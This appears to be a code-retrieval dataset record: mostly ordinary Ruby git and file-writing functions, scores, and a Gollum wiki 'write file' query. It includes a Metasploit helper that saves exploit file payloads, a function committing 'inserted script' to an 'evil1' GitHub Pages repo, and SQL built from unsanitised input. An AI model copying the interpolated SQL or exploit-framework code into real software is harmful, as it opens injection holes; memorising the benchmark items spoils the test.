end\n exit_status\n end",
"def commit\n @commit ||= $repo.log.object(@rev || 'master').path(@name).first\n end",
"def edit_file\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n end",
"def stage_and_commit_file(repo_base_path, relpath_to_file, commit_message = nil)\n commit_message = \"Updated #{relpath_to_file} via website\" unless !commit_message.blank?\n gitRepo = Repo.new(repo_base_path)\n olddir = Dir.pwd\n Dir.chdir(repo_base_path)\n gitRepo.add(relpath_to_file)\n gitRepo.commit_index(commit_message)\n Dir.chdir(olddir)\n end",
"def save(directory, data, type = 'xml')\n return if directory == nil || data == nil\n \n begin\n # verify target directory\n Dir.chdir(path)\n Dir.mkdir(directory) unless File.directory?(directory)\n \n repo = File.join(path, directory)\n child = day_to_directory\n \n # verify actual target directory (day)\n Dir.chdir(repo)\n Dir.mkdir(child) unless File.directory?(child)\n repo = File.join(repo, child)\n \n # create absolute filename.\n filename = unixtime + SEPARATOR + directory + EXTENSION + type\n target = File.join(repo, filename)\n \n # create the file\n open(target, 'w') { |file| file << data }\n \n rescue Exception => error\n puts \"error: #{error.message}\" \n end\n end",
"def write_file(file_name, data, write_type = 'w')\n write_file_base(append_root_path(file_name), data, write_type)\n end",
"def get_file(path)\n file = path[1..-1]\n case path\n when '/CURRENT_REVISION'\n change['revisions'][change['current_revision']]['_number']\n when '/COMMIT_MSG'\n commit_file(change['current_revision'])\n when '/.0_COMMIT_MSG'\n ''\n when /\\.(\\d+)_COMMIT_MSG/\n commit_file(Regexp.last_match(1)) # TODO: handle commit like a normal file (with comments for instance)\n when /\\.(\\d+)_(.*)$/\n revision = Regexp.last_match(1).to_i\n filename = file_from_sanitized(Regexp.last_match(2))\n content = get_ab_file(Regexp.last_match(2), revision)\n FileWithComments.new(Regexp.last_match(2),\n content,\n comments(filename, revision),\n comments(filename, revision, draft: true))\n else\n \"Nothing in there, see .xx_#{file} with xx the patchset version\\n\"\n end\n end",
"def create_commit_msg(commit_msg_path, for_commit)\n File.open(commit_msg_path, 'w') do |file|\n file.puts(\"Automatic documentation update\\n\")\n file.puts(\"- Generated for #{for_commit}.\")\n end\n end",
"def update!(**args)\n @author_name = args[:author_name] if args.key?(:author_name)\n @children = args[:children] if args.key?(:children)\n @date = args[:date] if args.key?(:date)\n @docid = args[:docid] if args.key?(:docid)\n @parent = args[:parent] if args.key?(:parent)\n end",
"def save\n repository.create_contents(path, \"Upload #{path}\", content)\n end",
"def commit_file(revision)\n c = @gerrit.commit(@id, revision)\n file = []\n file += c['parents'].map do |parent|\n \"Parent: #{parent['commit'][0..6]} (#{parent['subject']})\"\n end\n file += %w(committer author).map do |t|\n [\n \"#{t.capitalize}: #{c[t]['name']} <#{c[t]['email']}>\",\n \"#{t.capitalize}Date: #{c[t]['date']}\"\n ]\n end.flatten\n file << ''\n file << c['message']\n file.join(\"\\n\")\n end",
"def create_release_meta_file!(current_commits, new_version)\n release_meta_path = \"#{RELEASE_META_DIR}/#{new_version}.toml\"\n\n # Grab all existing commits\n existing_commits = get_existing_commits!\n\n # Ensure this release does not include duplicate commits. Notice that we\n # check the parsed PR numbers. This is necessary to ensure we do not include\n # cherry-picked commits made available in other releases.\n #\n # For example, if we cherry pick a commit from `master` to the `0.8` branch\n # it will have a different commit sha. Without checking something besides the\n # sha, this commit would also show up in the next release.\n new_commits =\n current_commits.select do |current_commit|\n existing_commits.select do |existing_commit|\n existing_commit.fetch(\"sha\") == current_commit.fetch(\"sha\") ||\n existing_commit.fetch(\"pr_number\") == current_commit.fetch(\"pr_number\")\n end\n end\n if new_commits.any?\n if File.exists?(release_meta_path)\n words =\n <<~EOF\n I found #{new_commits.length} new commits since you last generated:\n\n #{release_meta_path}\n\n So I don't erase any other work in that file, please manually add the\n following commit lines:\n\n #{new_commits.to_toml.indent(4)}\n\n Done? Ready to proceed?\n EOF\n\n if Printer.get(words, [\"y\", \"n\"]) == \"n\"\n Printer.error!(\"Ok, re-run this command when you're ready.\")\n end\n else\n File.open(release_meta_path, 'w+') do |file|\n file.write(\n <<~EOF\n [releases.\"#{new_version}\"]\n date = #{Time.now.utc.to_date.to_toml}\n commits = #{new_commits.to_toml}\n EOF\n )\n end\n\n words =\n <<~EOF\n I've created a release meta file here:\n\n #{release_meta_path}\n\n I recommend reviewing the commits and fixing any mistakes.\n\n Ready to proceed?\n EOF\n\n if Printer.get(words, [\"y\", \"n\"]) == \"n\"\n Printer.error!(\"Ok, re-run this command when you're ready.\")\n end\n end\n end\n\n true\nend",
"def write_file(dir, name, data)\n path = File.join(dir, name)\n File.open(path, 'w') do |f|\n f.write(data)\n end\n path\n end",
"def create_file(uri, data, etag = Box.new)\n (dir, name) = Http::UrlUtil.split_path(uri)\n\n return false unless emit('beforeBind', [uri])\n\n parent = @tree.node_for_path(dir)\n unless parent.is_a?(ICollection)\n fail Exception::Conflict, 'Files can only be created as children of collections'\n end\n\n # It is possible for an event handler to modify the content of the\n # body, before it gets written. If this is the case, modified\n # should be set to true.\n #\n # If modified is true, we must not send back an ETag.\n modified = Box.new(false)\n box = Box.new(data)\n return false unless emit('beforeCreateFile', [uri, box, parent, modified])\n data = box.value\n\n etag.value = parent.create_file(name, data)\n etag.value = nil if modified.value\n\n @tree.mark_dirty(dir + '/' + name)\n\n emit('afterBind', [uri])\n emit('afterCreateFile', [uri, parent])\n\n true\n end",
"def save_in!(state, author, message = '', timestamp = Time.now)\n ref = \"refs/heads/#{state}\"\n init_repository(repository, timestamp)\n\n previous = revisions[state] || revisions.root_revision\n revision = Revision.new(self, content, author, message, timestamp, previous)\n\n revision.write!(repository, ref)\n\n index.register(id, type.type)\n search_provider.index!(self, revision, state, {name: :save, to: state}) if search_provider\n\n revision\n end",
"def write_file(data, name)\n raise WebthumbException.new('No data given') if data == nil || data.size == 0\n File.open(name, 'wb+') do |file|\n file.write(data)\n file.close\n file\n end\n end",
"def commit(msg=status)\n setup unless head\n \n sha = git.commit(msg)\n index.write(sha)\n sha\n end",
"def commit(new_content, user)\n c = Code.new(\n parent_id: parent_id,\n parent_class: parent_class,\n name: name,\n content: new_content,\n user_id: user.id\n )\n c.save\n c\n end",
"def test_version_message\n Repository.create()\n FileUtils.touch('.test_file1')\n a = ['.test_file1']\n Repository.add(a) \n Repository.commit()\n #Repository.version()\n end",
"def update_file(login, token, fileContent, sha)\n begin\n uri = URI('https://api.github.com/repos/'+ login + '/evil1.github.io/contents/powr/index.html')\n putParams = { \"message\" => \"Inserted script into head and body sections\",\n \"committer\" => {\n \"name\" => \"Dmitriy Gritsenko\",\n \"email\" => \"evil1@inbox.ru\"\n },\n \"content\" => Base64.encode64(fileContent),\n \"sha\" => sha\n }\n\n req = Net::HTTP::Put.new(uri)\n req['Authorization'] = 'token ' + token\n req['Accept'] = 'application/json'\n req.body = ActiveSupport::JSON.encode putParams\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n res = http.request(req)\n\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n response = { 'success' => true, 'message' => res.body }\n else\n response = { 'success' => false, 'message' => 'Error updating file: ' + res.value }\n end\n\n rescue Exception => ex\n response = { 'success' => false, 'message' => 'Error updating file: ' + ex.message }\n end\n\n return response\n end",
"def commit!(msg=status)\n setup unless head\n \n sha = git.commit!(msg)\n index.write(sha)\n sha\n end",
"def put_file(path, data, &b)\n path = Pathname.new(path).cleanpath\n dir = path.dirname\n filename = path.basename\n if fs.directory?(dir) and filename\n fs.put_file(path, data)\n yield data.size\n else\n yield false\n end\n end",
"def update!(**args)\n @contents = args[:contents] if args.key?(:contents)\n @path = args[:path] if args.key?(:path)\n end",
"def update_filepath(_package_id:, _filepath:, _sha1:, _size:); end",
"def commit(file, message)\n git 'commit', '-m', message, file\n end",
"def commit(file, message)\n git 'commit', '-m', message, file\n end",
"def update_path(path)\n return path_nodes(path).insert(1, \"data\").join(\"/\") if path_nodes(path)[1] != \"data\"\n\n path\n end",
"def commit(repo)\n # First, ensure everything up-to-date\n # The fourth argument as true tells update to ignore externals.\n repo.ctx.update(repo.wc_path, \"HEAD\", nil, true)\n \n root = Directory.new(repo.ctx, repo.wc_path)\n root.instance_eval(&@block) if @block\n ci = repo.ctx.ci(repo.wc_path)\n unless ci.revision == Svn::Core::INVALID_REVNUM\n rev = ci.revision\n repo.repos.fs.set_prop('svn:log', @message, rev) if @message\n repo.repos.fs.set_prop('svn:author', @author, rev) if @author\n repo.repos.fs.set_prop('svn:date', @date, rev) if @date\n @revprops.each do | key, val |\n val = SvnFixture.svn_time(val) if val.respond_to?(:strftime)\n repo.repos.fs.set_prop(key.to_s, val.to_s, rev)\n end\n else\n puts \"Warning: No change in revision #{name} (SvnFixture::Revision#commit)\"\n end\n return true\n end",
"def add_file entry, content = nil\n path = repo_path.join entry\n dir, filename = path.split unless entry.end_with? \"/\"\n\n FileUtils.mkdir_p dir.to_s == '.' ? repo_path : dir\n FileUtils.touch path if filename\n File.write path, content if filename && content\n end",
"def atomic_write(data, path, name, options = {})\n main_file = File.join(path, name) + '.yml'\n dup_file = File.join(path, name) + '.yml2'\n \n # append verification info at the end of the file to guard from incomplete writes\n ts = Time.now\n ts_checksum = Digest::MD5.hexdigest(\"#{ts.tv_sec}.#{ts.tv_usec}\")\n if options[:owner]\n # secure the file\n File.open(dup_file, 'w').close\n uid = uid_for_username options[:owner]\n gid = gid_for_username options[:owner]\n File.chown uid, gid, dup_file\n File.chmod options[:permissions] || 0660, dup_file\n end\n File.open(dup_file, 'w') { |f| YAML::dump [data, ts.tv_sec, ts.tv_usec, ts_checksum], f }\n \n # move the file atomically to the main copy\n FileUtils.mv(dup_file, main_file)\n end",
"def update_node(node)\n file = node_file(node)\n status = file.exist? ? \"update\" : \"add\"\n\n txn do\n (@path + \"nodes\").mkpath\n file.open(\"w\") do |f|\n f.print JSON.generate(\n node.as_json,\n object_nl: \"\\n\",\n indent: \" \",\n space: \" \"\n )\n end\n @repo.add file\n\n message = \"#{status} node #{node.fqn}\"\n @repo.commit message\n log << \"Database commit: #{message}\"\n end\n end",
"def commit(file, message)\n hg 'commit', '-m', message, file\n end",
"def save(data: content, name: subject + '.html')\n filename = 'tmp/' + name\n\n File.open(filename, 'w+') do |f|\n f.write(data)\n end\n end",
"def patch(*args, &block)\n options = Map.options_for!(args)\n\n user = options[:user] || ENV['USER'] || 'ro'\n msg = options[:message] || \"#{ user } edits on #{ File.basename(@root).inspect }\"\n add = options.has_key?(:add) ? options[:add] : true\n\n patch = nil\n\n Thread.exclusive do\n @root.lock do\n Dir.chdir(@root) do\n # ensure .git-ness\n #\n status, stdout, stderr = spawn(\"git rev-parse --git-dir\", :raise => true, :capture => true)\n\n git_root = stdout.to_s.strip\n\n dot_git = File.expand_path(git_root)\n\n unless test(?d, dot_git)\n raise Error.new(\"missing .git directory #{ dot_git }\")\n end\n\n # calculate a tmp branch name\n #\n time = Coerce.time(options[:time] || Time.now).utc.iso8601(2).gsub(/[^\\w]/, '')\n branch = \"#{ user }-#{ time }-#{ rand.to_s.gsub(/^0./, '') }\"\n\n # allow block to edit, compute the patch, attempt to apply it\n #\n begin\n # get pristine\n #\n spawn(\"git checkout -f master\", :raise => true)\n spawn(\"git fetch --all\", :raise => true)\n spawn(\"git reset --hard origin/master\", :raise => true)\n\n # pull recent changes\n #\n trying('to pull'){ spawn(\"git pull origin master\") }\n\n # create a new temporary branch\n #\n spawn(\"git checkout -b #{ branch.inspect }\", :raise => true)\n\n # the block can perform arbitrary edits\n #\n block.call\n\n # add all changes - additions, deletions, or modifications - unless :add => false was specified\n #\n if add\n spawn(\"git add . --all\", :raise => true)\n end\n\n # commit if anything changed\n #\n changes_to_apply =\n spawn(\"git commit -m #{ msg.inspect }\")\n\n if changes_to_apply\n # create the patch\n #\n status, stdout, stderr =\n spawn(\"git format-patch master --stdout\", :raise => true, :capture => true)\n\n patch = Patch.new(:data => stdout, :name => branch)\n\n unless stdout.to_s.strip.empty?\n # apply the patch\n #\n spawn(\"git checkout master\", :raise => true)\n\n #\n spawn(\"git rebase --abort\")\n spawn(\"git am --abort\")\n\n spawn(\"git am --abort\")\n spawn(\"git rebase --abort\")\n\n #\n status, stdout, stderr =\n spawn(\"git am --signoff --3way --ignore-space-change --ignore-whitespace\", :capture => true, :stdin => patch.data)\n\n #\n patch.applied = !!(status == 0)\n\n # commit the patch back to the repo\n #\n patch.committed =\n begin\n trying('to pull'){ spawn(\"git pull origin master\") }\n trying('to push'){ spawn(\"git push origin master\") }\n true\n rescue Object\n false\n end\n end\n end\n ensure\n # get pristine\n #\n spawn(\"git checkout -f master\", :raise => true)\n spawn(\"git fetch --all\", :raise => true)\n spawn(\"git reset --hard origin/master\", :raise => true)\n\n spawn(\"git am --abort\")\n spawn(\"git rebase --abort\")\n\n # get changes\n #\n trying('to pull'){ spawn(\"git pull\") }\n\n # nuke the tmp branch\n #\n if patch and patch.applied and patch.committed\n spawn(\"git branch -D #{ branch.inspect }\")\n end\n end\n end\n end\n end\n\n patch\n end",
"def save!; File.write @path, @data end",
"def satellite_commit(repo, message, author, branch)\n options = rugged_commit_options(author, repo, message)\n commit_id = Rugged::Commit.create repo, options\n repo.index.write\n pushtobare branch\n touch # use current updated_at time\n commit_id\n end",
"def commit(upload_href, data, opts = {})\n data, _status_code, _headers = commit_with_http_info(upload_href, data, opts)\n data\n end",
"def git_commit\n init_structure\n sha = add_all_changes_to_git\n \n if self.attributes.has_key?(\"version\") \n self.version = sha\n self.connection.update(\"UPDATE #{self.class.table_name} SET version='#{sha}' WHERE id='#{self.id}'\")\n end\n \n return sha\n end",
"def commit(msg = nil)\n require_dep! 'awesome_spawn'\n require_cmd! git_cmd\n\n in_repo { AwesomeSpawn.run \"#{git_cmd} add #{pkg_files.join(' ')}\" }\n super(msg.nil? ? \"updated to #{version}\" : msg)\n self\n end",
"def update_written(event)\n info \"Update file written to file system: #{File.join(Rails.root, event.payload[:path])} (size: #{event.payload[:size]})\"\n end",
"def add_default_commit_data commit_data\n file_name = \"default_file_name_#{SecureRandom.urlsafe_base64}\"\n commit_data.clone.reverse_merge(\n file_name: file_name,\n message: 'default commit message',\n location: 'local and remote',\n branch: current_branch_name,\n file_content: default_file_content_for(commit_data[:file_name] || file_name)\n )\nend",
"def save_commit_info(sha)\n unless File.directory?(File.dirname(commit_info_file))\n FileUtils.mkdir_p(File.dirname(commit_info_file))\n end\n File.write(commit_info_file, sha)\n end",
"def upload info\n unless info[:repos]\n raise \"required repository name\"\n end\n info[:repos] = @login + '/' + info[:repos] unless info[:repos].include? '/'\n\n if info[:file]\n file = info[:file]\n unless File.exist?(file) && File.readable?(file)\n raise \"file does not exsits or readable\"\n end\n info[:name] ||= File.basename(file)\n end\n unless info[:file] || info[:data]\n raise \"required file or data parameter to upload\"\n end\n\n unless info[:name]\n raise \"required name parameter for filename with data parameter\"\n end\n\n if info[:replace]\n list_files(info[:repos]).each { |obj|\n next unless obj[:name] == info[:name]\n delete info[:repos], obj[:id]\n }\n elsif list_files(info[:repos]).any?{|obj| obj[:name] == info[:name]}\n raise \"file '#{info[:name]}' is already uploaded. please try different name\"\n end\n\n info[:content_type] ||= 'application/octet-stream'\n stat = HTTPClient.post(\"https://github.com/#{info[:repos]}/downloads\", {\n \"file_size\" => info[:file] ? File.stat(info[:file]).size : info[:data].size,\n \"content_type\" => info[:content_type],\n \"file_name\" => info[:name],\n \"description\" => info[:description] || '',\n \"login\" => @login,\n \"token\" => @token\n })\n\n unless stat.code == 200\n raise \"Failed to post file info\"\n end\n\n upload_info = JSON.parse(stat.content)\n if info[:file]\n f = File.open(info[:file], 'rb')\n else\n f = Tempfile.open('net-github-upload')\n f << info[:data]\n f.flush\n end\n client = HTTPClient.new\n client.send_timeout = info[:upload_timeout] if info[:upload_timeout]\n\n res = begin\n connection = client.post_async(\"http://github.s3.amazonaws.com/\", [\n ['Filename', info[:name]],\n ['policy', upload_info['policy']],\n ['success_action_status', 201],\n ['key', upload_info['path']],\n ['AWSAccessKeyId', upload_info['accesskeyid']],\n ['Content-Type', upload_info['content_type'] || 'application/octet-stream'],\n ['signature', upload_info['signature']],\n ['acl', upload_info['acl']],\n ['file', f]\n ])\n\n until connection.finished?\n yield if block_given?\n sleep info[:yield_interval] || 1\n end\n\n connection.pop\n ensure\n f.close\n end\n\n if res.status == 201\n return FasterXmlSimple.xml_in(res.body.read)['PostResponse']['Location']\n else\n raise 'Failed to upload' + extract_error_message(res.body)\n end\n end",
"def file_create(data)\r\n\r\n\t\tfname = datastore['FILENAME']\r\n\t\tltype = \"exploit.fileformat.#{self.shortname}\"\r\n\r\n\t\tif ! ::File.directory?(Msf::Config.local_directory)\r\n\t\t\tFileUtils.mkdir_p(Msf::Config.local_directory)\r\n\t\tend\r\n\r\n\t\tpath = File.join(Msf::Config.local_directory, fname)\r\n\t\tfull_path = ::File.expand_path(path)\r\n\t\tFile.open(full_path, \"wb\") { |fd| fd.write(data) }\r\n\r\n\t\treport_note(:data => full_path.dup, :type => \"#{ltype}.localpath\")\r\n\r\n\t\tprint_good \"#{fname} stored at #{full_path}\"\r\n\r\n\tend",
"def save_bump_info(bump_info)\n repo = BumpInfoRepository.new @file\n\n repo.save bump_info\n end",
"def createDevfile(f, commit) #:doc:\n \n dev_file = nil\n blob = nil\n b_in_c = nil\n \n # If file already exists, raises an error but nothing needs to be deleted (except the commit is cancelled)\n begin \n dev_file = Devfile.find_by_name_and_path_and_device_id(f['name'], f['path'], @device.id)\n if dev_file != nil\n puts \"Devfile: #{f['path'] + f['name']} already exits, cannot create, use update instead\"\n raise ArgumentError.new(\"Devfile already exits for this device, cannot use CREATE -method, use UPDATE instead to add new version\")\n end\n rescue Exception => e\n puts e.to_s\n puts e.backtrace[0].to_s\n raise e\n end\nputs \"name: #{f['name']}\"\nputs \"path: #{f['path']}\"\n \n # If something goes wrong, raises an error, and deletes the data created\n begin\n \n puts \"Creating new dev_file, blob etc..\"\n \n \n f_filedate = DateTime.strptime(f['filedate'], \"%T %F\")\n f_filedate = f_filedate.strftime('%F %T').to_s\n \n now = DateTime.now\n \n # get or create devfile\n dev_file = Devfile.find_or_create_by_name_and_path_and_device_id(f['name'], f['path'], @device.id)\n if dev_file.created_at >= now\n sql = \"update devfiles set filetype='#{f['filetype']}', path='#{f['path']}', privatefile=0 where id=#{dev_file.id}\" \n ActiveRecord::Base.connection.execute(sql)\n end\n \n # get or create blob\n blob = Blob.find_or_create_by_blob_hash_and_devfile_id(f['blob_hash'], dev_file.id)\n if blob.created_at >= now # if just created\n # Version number\n version = 0\n predecessor_blob_id = \"NULL\"\n follower_blob_id = \"NULL\"\n if dev_file.blob_id != nil\n predecessor_blob_id = dev_file.blobs.find_by_id(dev_file.blob_id) ? dev_file.blobs.find_by_follower_id(dev_file.blob_id).id.to_s : \"NULL\"\n follower_blob_id = dev_file.blobs.find_by_predecessor_id(blob.id) ? dev_file.blobs.find_by_predecessor_id(blob.id).id.to_s : \"NULL\"\n version = dev_file.blobs.find_by_id(dev_file.blob_id).version + 1 \n end\n \nputs \"predecessor_id=#{predecessor_blob_id.to_s},\"\nputs \"follower_id=#{follower_blob_id.to_s},\"\nputs \"size=#{f['size'].to_s},\" \nputs \"filedate='#{f_filedate.to_s}',\" \nputs \"version=#{version.to_s},\" \nputs \"uploaded='0',\" \nputs \"latitude=#{@commit_location['latitude'].to_s}, \" \nputs \"longitude=#{@commit_location['longitude'].to_s} \" \n \n sql = \"update blobs set predecessor_id=#{predecessor_blob_id.to_s}, follower_id=#{follower_blob_id.to_s}, size=#{f['size'].to_s}, filedate='#{f_filedate.to_s}', version=#{version.to_s}, uploaded='0', latitude=#{@commit_location['latitude'].to_s}, longitude=#{@commit_location['longitude'].to_s} where id=#{blob.id};\"\nputs \"sql: \" + sql\n \n ActiveRecord::Base.connection.execute(sql)\n end\n \n # Creates association between blob and commit\n b_in_c = BlobsInCommit.find_or_create_by_blob_id_and_commit_id(blob.id, commit.id)\n \n # update blob_id to devfile\n if dev_file.blob_id != blob.id\n sql = \"update devfiles set blob_id=#{blob.id} where id=#{dev_file.id};\"\n ActiveRecord::Base.connection.execute(sql)\n end\n \n \n #checkForObservers(dev_file)\n \n # If parent_blob_hash is given, tries to find the parent, and creates new branch form the parent\n if f['file_origin'] \n createBranch(f['file_origin'], blob)\n end\n\n rescue Exception => e\n puts \" -- Error in createDevfile: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n \n puts \"Deleting created data..\"\n \n # If dev_file was created now, deletes it\n dev_file.delete if dev_file\n puts \"Deleted created dev_file!\" if dev_file\n \n if blob \n if b_in_c\n BlobsInCommit.delete_all([\"commit_id = ? AND blob_id = ?\", b_in_c.commit_id.to_s, blob.blob_id.to_s])\n puts \"Deleted created blobs_in_commits!\" if b_in_c\n end\n blob.delete \n puts \"Deleted created blob!\"\n end\n \n # Throws forward the exception..\n raise e\n end\n puts \"File created\"\n return dev_file\n end",
"def update!(**args)\n @author = args[:author] if args.key?(:author)\n @commit_message = args[:commit_message] if args.key?(:commit_message)\n @commit_sha = args[:commit_sha] if args.key?(:commit_sha)\n @commit_time = args[:commit_time] if args.key?(:commit_time)\n end"
] |
[
"0.62029845",
"0.6194479",
"0.5954787",
"0.58099425",
"0.57061607",
"0.5703369",
"0.5648676",
"0.5640222",
"0.56308824",
"0.56294787",
"0.562135",
"0.55780935",
"0.55345803",
"0.54769135",
"0.54635113",
"0.5386273",
"0.5331518",
"0.5312393",
"0.5300479",
"0.52892244",
"0.52584976",
"0.5246034",
"0.5053023",
"0.4998605",
"0.49211502",
"0.4877221",
"0.4875647",
"0.48599276",
"0.485934",
"0.4839117",
"0.48237574",
"0.48205775",
"0.47977048",
"0.47907248",
"0.47815302",
"0.47737914",
"0.47220567",
"0.4719072",
"0.4710872",
"0.47105733",
"0.4704104",
"0.46855512",
"0.46761534",
"0.46746606",
"0.46650648",
"0.46527293",
"0.46470422",
"0.46422863",
"0.46379992",
"0.4637373",
"0.46026188",
"0.46008837",
"0.46008837",
"0.45900577",
"0.4587404",
"0.4553277",
"0.45532408",
"0.4552765",
"0.45491338",
"0.45467198",
"0.45433682",
"0.45348763",
"0.45311373",
"0.4524434",
"0.45224905",
"0.45216954",
"0.45134395",
"0.4510965",
"0.4497618",
"0.44921124",
"0.44913262",
"0.44908935",
"0.44887507",
"0.44865477",
"0.4486093",
"0.4484135",
"0.44765288",
"0.44747984",
"0.44747984",
"0.44689",
"0.4467998",
"0.44649076",
"0.4464189",
"0.44602522",
"0.44430637",
"0.4438395",
"0.4434104",
"0.4421254",
"0.44201225",
"0.43868822",
"0.4380558",
"0.4379003",
"0.43774003",
"0.43767378",
"0.43756366",
"0.4355013",
"0.43495882",
"0.4348019",
"0.43479422",
"0.4343326"
] |
0.6008673
|
2
|
Public: Write a file to the Gollum repo regardless of existing versions. path The String path where the file will be written. data The new String contents of the page. commit The commit Hash details: :message The String commit message. :name The String author full name. :email The String email address. :parent Optional Gollum::Git::Commit parent to this update. :tree Optional String SHA of the tree to create the index from. :committer Optional Gollum::Committer instance. If provided, assume that this operation is part of batch of updates and the commit happens later. Returns the String SHA1 of the newly written version, or the Gollum::Committer instance if this is part of a batch update
|
def overwrite_file(name, data, commit = {})
write(merge_path_elements(nil, name, nil), data, commit, force_overwrite = true)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_file(name, data, commit = {})\n write(merge_path_elements(nil, name, nil), data, commit)\n end",
"def update_page(page, name, format, data, commit = {})\n name = name ? ::File.basename(name) : page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n filename = (rename = page.name != name) ? Gollum::Page.cname(name) : page.filename_stripped\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename && page.format == format\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(dir, filename, format, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(dir, page.filename_stripped, page.format)\n index.update_working_dir(dir, filename, format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = nil if dir == '.'\n rename = (page.name != name || page.format != format)\n new_path = ::File.join([dir, self.page_file_name(name, format)].compact) if rename\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(new_path, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(page.path)\n index.update_working_dir(new_path) if rename\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n if page.name == name && page.format == format\n index.add(page.path, normalize(data))\n else\n index.delete(page.path)\n add_to_index(index, dir, name, format, data, :allow_same_ext)\n end\n end\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n update_working_dir(index, dir, name, format)\n\n sha1\n end",
"def write_page(name, format, data, commit = {})\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n add_to_index(index, '', name, format, data)\n end\n\n @access.refresh\n update_working_dir(index, '', name, format)\n\n sha1\n end",
"def write_commit_info(tree, parents, message)\n contents = []\n contents << ['tree', tree].join(' ')\n parents.each do |p|\n contents << ['parent', p].join(' ') if p \n end\n\n name = config_get('user.name')\n email = config_get('user.email')\n author_string = \"#{name} <#{email}> #{Time.now.to_i} #{formatted_offset}\"\n contents << ['author', author_string].join(' ')\n contents << ['committer', author_string].join(' ')\n contents << ''\n contents << message\n \n get_raw_repo.put_raw_object(contents.join(\"\\n\"), 'commit') \n end",
"def update(content, message=nil)\n # normalise content\n content = Page.normalise_body(content)\n \n # create subdirectory if needed\n dirname = File.dirname(@filename)\n FileUtils.mkdir_p(dirname) unless File.exist?(dirname)\n \n # Write changes to file\n File.open(@filename, 'w') { |f| f << content }\n \n # Create commit message\n commit_message = tracked? ? \"edited #{@basename.wikify}\" : \"created #{@basename.wikify}\"\n commit_message += ' : ' + message unless message.blank?\n \n # Commit changes\n begin\n $repo.add(@name)\n $repo.commit(commit_message)\n rescue\n nil\n end\n end",
"def commit(message = nil)\n # Write current index back to the repository\n index = @repo.index\n commit_tree = index.write_tree @repo\n\n # Commit message\n message = \"Affected files: #{@affected_files.uniq.join(', ')}\" if message.nil?\n\n # User handling\n user = ENV['USER']\n user = \"cir-out-commit\" if user.nil?\n\n # Commit author structure for git\n commit_author = {\n email: 'cir-auto-commit@nowhere.cz',\n name: user,\n time: Time.now\n }\n\n # And finally commit itself\n Rugged::Commit.create @repo,\n author: commit_author,\n committer: commit_author,\n message: message,\n parents: @repo.empty? ? [] : [ @repo.head.target ].compact,\n tree: commit_tree,\n update_ref: 'HEAD'\n\n # Reset list of files that were changed since last commit\n @affected_files = []\n end",
"def commit_files(author: nil, message: nil, parent: nil, files: {})\n # check parameters\n raise \"no author given\" if author.nil?\n raise \"no message given\" if message.nil?\n\n # get parent commit\n if not parent.nil?\n parent = @wiki.commit_for(parent)\n elsif parent.nil? and not @wiki.repo.head.commit.nil?\n parent = @wiki.commit_for(@wiki.repo.head.commit.id)\n end\n\n unless parent.nil?\n log_debug \" checkpoint (parent #{parent})\"\n if parent.id != @wiki.repo.head.commit.id\n log_debug \" (parent #{parent} is not head)\"\n\n # now check version of each file individually, if it has been\n # changed in one of the changes since parent.\n #\n # if so, raise error, else proceed\n\n files.each do |path,contents|\n next if @wiki.repo.log(nil, path, {:since => parent.authored_date}).empty?\n log_debug \" file has changed\"\n raise \"repo has changed\"\n end\n end\n end\n\n options = {\n :message => message,\n :author => author,\n }\n unless parent.nil?\n options[:parent] = parent\n end\n\n committer = Gollum::Committer.new(@wiki, options)\n\n files.each do |path,contents|\n path = path.dup.gsub(/^\\.\\//, '')\n if contents.nil?\n committer.index.delete(path)\n else\n committer.index.add(path, normalize(contents))\n end\n # if wikifile_exists? path, parent\n # log_debug \" U path: #{path}, contents: #{normalize(contents)}\"\n # committer.index.add(path.dup, normalize(contents))\n # else\n # log_debug \" A path: #{path}, contents: #{normalize(contents)}\"\n # dir, name, format = split_path path\n # committer.add_to_index(dir, name, format, contents)\n # end\n end\n\n committer.after_commit do |index, sha|\n log_debug \" after_commit: #{index}, #{sha}\"\n @wiki.clear_cache\n\n files.each do |path,contents|\n path = path.gsub(/^\\.\\//, '')\n #dir, name, format = split_path path\n unless @wiki.repo.bare\n Dir.chdir(::File.join(@wiki.repo.path, \"..\")) do\n if contents.nil?\n @wiki.repo.git.rm(path, :force => true)\n else\n @wiki.repo.git.checkout(path, 'HEAD')\n end\n end\n end\n end\n\n @wiki_manager.add_to_index(@wiki, index, sha, files)\n end\n\n sha = committer.commit\n log_debug \"sha #{sha}\"\n end",
"def write(content, message, author = nil)\n if !content.respond_to? :read\n content.gsub!(\"\\r\\n\", \"\\n\")\n\treturn if @object && @object.data == content\n end\n\n Wiki.check do |errors|\n errors << :already_exists.t(:path => @path) if new? && Resource.find(@repository, @path)\n errors << :empty_commit_message.t if message.blank?\n end\n\n repository.transaction(message, author && author.to_git_user) do\n content = content.read if content.respond_to? :read # FIXME\n repository.root[@path] = Gitrb::Blob.new(:data => content)\n end\n\n reload\n @commit = repository.log(1, nil).first\n @object = @commit.tree[@path] || raise(NotFound, path)\n @current = true\n end",
